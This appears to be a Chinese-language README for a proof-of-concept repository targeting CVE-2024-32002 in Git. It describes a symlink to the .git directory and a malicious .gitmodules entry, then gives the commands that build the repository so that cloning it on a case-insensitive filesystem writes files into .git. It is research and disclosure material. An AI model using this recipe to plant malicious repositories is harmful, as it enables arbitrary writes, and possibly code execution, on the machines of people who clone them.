CVE-2024-32002 PRC AW

一个针对 CVE-2024-32002 的 POC，演示了对 .git 目录的任意写入。

请参阅相关的子模块仓库：cve-2024-32002-submodule-aw

本仓库包含的内容

• 一个指向 .git 目录的符号链接，其名称是任意的。
• 一个定义恶意子模块的 .gitmodules 文件。

如何重新创建此仓库

此仓库是在 Linux（具体来说是 WSL2）上创建的。这一点很重要，恶意仓库只能在大小写敏感的文件系统上创建。

1. 创建一个符号链接，全部使用小写字符

ln -s .git submodule

注：

• 符号链接应指向 .git 文件夹，因为这是我们想要写入文件的目标位置。
• 符号链接名称（submodule）是任意的，但应以小写字符开头。
• 这一点很重要，因为小写字符排序在大写字符之前。当克隆机器不确定将子模块文件写入何处时，我们希望它选择该符号链接而不是一个普通目录。

2. 添加恶意子模块，注意子模块目录名称的大小写差异

git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists